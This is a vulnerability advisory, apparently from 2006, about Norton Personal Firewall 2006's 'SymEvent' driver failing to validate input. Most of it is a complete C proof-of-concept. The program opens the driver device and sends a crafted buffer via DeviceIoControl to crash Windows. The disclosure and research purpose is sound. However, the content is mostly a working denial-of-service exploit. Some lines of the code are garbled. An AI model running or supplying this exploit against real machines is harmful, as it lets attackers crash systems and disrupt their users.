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Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer
------------------------------------------------------------------------
SUMMARY
Norton insufficiently protects its driver '\Device\SymEvent' against a
manipulation by malicious applications and it fails to validate its input
buffer. It is possible to open this driver and send arbitrary data to it,
which are implicitly believed to be valid. It is possible to assemble the
data in the input buffer such that the driver performs an invalid memory
operation and crashes the whole operating system. Further impacts of this
bug were not examined.
DETAILS
Vulnerable software:
* Norton Personal Firewall 2006 version 9.1.0.33
* probably all versions of Norton Personal Firewall 2006 and Norton
Internet Security 2006
* possibly older versions of Norton Personal Firewall and Norton Internet
Security
Exploit:
/*
Testing program for Insufficient validation of "SymEvent" driver input
buffer (BTP00011P002NF)
Usage:
prog
(the program is executed without special arguments)
Description:
This program uses standard Windows API CreateFile to open "SymEvent"
driver and using DeviceIoControl it sends
malicious buffer to the driver that crashs the system.
Test:
Running the testing program.
*/
#include <stdio.h>
#include <windows.h>
void about(void)
{
printf("Testing program for Insufficient validation of \"SymEvent\"
driver input buffer (BTP00011P002NF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/\n\n";);
return;
}
void usage(void)
{
printf("Usage: test\n"
" (the program is executed without special arguments)\n");
return;
}
void print_last_error()
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %d\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code
%d.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=1)
{
usage();
return 1;
}
HANDLE file=CreateFile("\\\\.\\Global\\SymEvent",GENERIC_READ |
GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,OPEN_EXISTING,0,NULL);
if (file!=INVALID_HANDLE_VALUE)
{
srand(GetTickCount());
char bufout[4],bufin[20]="\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1";
DWORD retlen;
DeviceIoControl(file,0x00220404,(PVOID)bufin,20,(PVOID)bufout,4,&retlen,NULL);
} else
{
fprintf(stderr,"Unable to open SymEvent device.\n");
print_last_error();
fprintf(stderr,"\n");
}
printf("\nTEST FAILED!\n");
return 1;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:david@matousec.com> David
Matousek.
The original article can be found at:
<http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php>
http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php
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